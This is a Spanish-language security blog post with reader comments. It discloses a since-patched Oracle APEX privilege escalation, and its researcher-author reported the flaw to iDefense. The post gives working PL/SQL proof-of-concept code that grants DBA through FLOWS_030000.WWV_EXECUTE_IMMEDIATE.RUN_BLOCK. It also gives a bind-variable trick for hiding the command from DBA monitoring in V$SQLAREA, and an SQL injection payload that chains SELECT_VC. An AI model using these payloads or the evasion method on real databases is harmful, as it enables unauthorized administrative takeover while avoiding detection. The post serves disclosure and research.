Random IRC quote :      <erg0t> agur es kuando te vas a dormir no?

Escalada de Privilegios en Oracle 11g

Una pequeña nota en los parches de fallas de seguridad de Abril del 2008 (Oracle Critical Patch Update April 2008) indica que existe una falla en el paquete flows_030000.wwv_execute_immediate. Esta falla la comuniqué hace algún tiempo a iDefense y hace pocos días sacaron un advisory en el que informan de que la vulnerabilidad ha Oraclin!sido corregida en este conjunto de parches. La escalada de privilegios es realmente tonta, pero hay que tener privilegios un poco elevados (los cuales se consiguen con fallas de inyección SQL en paquetes de usuarios no DBA, por ejemplo…).

La vulnerabilidad en cuestión fue encontrada buscando vectores que permitiesen escalar privilegios con usuarios que tenían el peligroso privilegio del sistema EXECUTE ANY PROCEDURE. Este privilegio tan potente permite que el usuario poseedor del mismo pueda ejecutar cualquier procedimiento almacenado exceptuando aquellos que sean del usuario SYS y no se hayan otorgado específicamente. Este privilegio que a todas luces no se debería de otorgar nunca es alegremente otorgado a multitud de usuarios instalados por defecto en muchas aplicaciones de Oracle. Sin embargo, no está pensado (como creo que está claro…) para que nadie pueda escalar privilegios, por eso deniegan la ejecución de paquetes del usuario SYS (algo así como el root en bases de datos Oracle) exceptuando aquellos que han sido específicamente otorgados.

De este modo Oracle pensaba que se había quitado el problema con el cual un usuario que tenga otorgado dicho privilegio pudiese escalar hasta ser DBA (o SYSDBA, por ejemplo), sin embargo, existen muchos paquetes que no son pertenecientes al usuario SYS y que permiten esta escalada como por ejemplo este paquete: flows_030000.wwv_execute_immediate. La vulnerabilidad se muestra claramente en el siguiente fragmento de código:

connect / as sysdba;create user matalaz identified by matalaz;grant create session, execute any procedure to matalaz;

connect matalaz/matalaz;

SELECT * FROM USER_ROLE_PRIVS; --Devuelve 0 filas

/

DECLARE

  P_SQL VARCHAR2(200);

  P_USER VARCHAR2(200);

BEGIN

  P_SQL := 'GRANT DBA TO matalaz';

  P_USER := 'SYS';

FLOWS_030000.WWV_EXECUTE_IMMEDIATE.RUN_BLOCK(

  P_SQL => P_SQL,

  P_USER => P_USER

);

END;

/

Así de fácil (y triste, para no romper la tradición en reverse(«elcaro»)…). En este script se crea un usuario con privilegios de conexión (CREATE SESSION) y de ejecución de cualquier paquete (EXECUTE ANY PROCEDURE), después, se cambia a dicho usuario y se ejecuta la escalada de privilegios. Limpia y sencilla. En mi opinión, excesivamente obvia.

El único problema que se puede encontrar con este script para escalar privilegios es que dicho comando SQL se puede ver simplemente consultando la vista SYS.V$SQLAREA, vamos, que el DBA se podría dar cuenta rápidamente. Para evitar que sea detectable por dicha vía, tan fácil como ejecutar dicho fragmento PL/SQL como sigue:

BEGIN
FLOWS_030000.WWV_EXECUTE_IMMEDIATE.RUN_BLOCK(
P_SQL => :P_SQL,
P_USER => :P_USER
);
END;

Al utilizar variables enlazadas (como se llama a este método) herramientas como Toad, SQL Developer o SQL*Plus nos pedirán los valores y serán utilizados PERO no se podrán consultar en SYS.V$SQLAREA ya que solo aparecerán los textos :P_SQL y :P_USER (las variables enlazadas) y no sus valores.

Esta falla resulta especialmente interesante, por ejemplo, para evitar tener que crear un paquete PL/SQL (y por supuesto tener su correspondiente privilegio) a la hora de explotar otras fallas de inyección sql en Oracle en las que necesitamos que ejecute funciones que podamos controlar.

Además del mencionado procedimiento RUN_BLOCK (que no podría ser utilizado en otras fallas de inyección SQL ya que para ello necesitaríamos que fuese una función) otros tantos del mismo paquete permiten hacer exactamente lo mismo, como por ejemplo la función SELECT_VC. Esta función se encarga de ejecutar y parsear un comando SQL y, al igual que el procedimiento RUN_BLOCK, permite especificar como que usuario se ha de ejcutar (Divertido, ¿Eh…?). Así pues, supongamos que hemos encontrado un paquete vulnerable a inyección SQL de algún usuario con el privilegio EXECUTE ANY PROCEDURE, ahora no necesitamos crearnos una función (y tener el privilegio para crear funciones) e inyectarla, simplemente, inyectamos la llamada a esa función:

DECLARE
V_VAR VARCHAR2(50);
BEGIN
V_VAR := »’ OR FLOWS_030000.WWV_EXECUTE_IMMEDIATE.SELECT_VC(»’GRANT DBA TO matalaz»’)!=0–‘;
SYS.VULNERABLE_PKG.VULNERABLE_PROC(SCHEMA=> V_VAR);
END;

Al ejecutar este script, nos dará un casque diciendo que no se ha parseado ningún sentencia SQL… La función espera una consulta SQL, no espera un GRANT como está claro… La única lástima de este método de poder inyectar código arbitrario en paquetes PL/SQL vulnerables a inyección SQL es que el tamaño de la cadena a inyectar se hace muy grande y, en ocasiones, hasta Oracle controla los tamaños de cadena. Pero solo en ocasiones, que tanto código de comprobaciones es un desperdicio…

Bueno, pues eso es todo. La vulnerabilidad ha sido corregida en la versión de APEX 3.1 (Application Express).

8 Comentarios para “Escalada de Privilegios en Oracle 11g”

  1. Comment por infi | 04/22/08 at 8:38 pm

    Impresionante que a dia de hoy se puedan hacer cosas así en un SGBD tán conocido de una forma, a primera vista, tán sencilla.

  2. Comment por matalaz | 04/22/08 at 8:48 pm

    @infi

    Pues este tipo de cosas son super habituales en Oracle… Si quieres ver otra muy triste que han corregido echa un vistazo a esta:

    http://www.red-database-security.com/advisory/oracle_outln_password_change.html

    Son mis héroes…

  3. Comment por Ruben | 04/22/08 at 9:40 pm

    Aupa ese matalaz! que se ha currado el post con colorines y todo 🙂

  4. Comment por Mario Ballano | 04/22/08 at 9:49 pm

    Muy bueno matalaz! :-),

    Y claro, es que un post sin colorines no es nada, en cambio con colorines es como tener el verano en un tarro xD

    Un saludo!,

    Mario

  5. Comment por Victor Manuel Alvarez | 04/22/08 at 10:22 pm

    «En cambio con colorines es como tener el verano en un tarro»

    Joer, que poético te ha quedao eso xDDD

  6. Comment por matalaz | 04/22/08 at 10:45 pm

    «que se ha currado el post con colorines y todo»

    Pues menos mal que el puto gvim tenía exportación en colores por que el no chutaba… Una lástima, sniff, sniff

  7. Comment por matalaz | 04/22/08 at 10:47 pm

    Quéría decir que el «p lang=’sql'» no se veía, que me ha borrado los caracteres que no le molaban

  8. ash
    Comment por ash | 04/23/08 at 3:00 am

    Entre lo del verano en un tarro y el rosa del código… pues no se yo que pensar! 😀

Se han cerrado los comentarios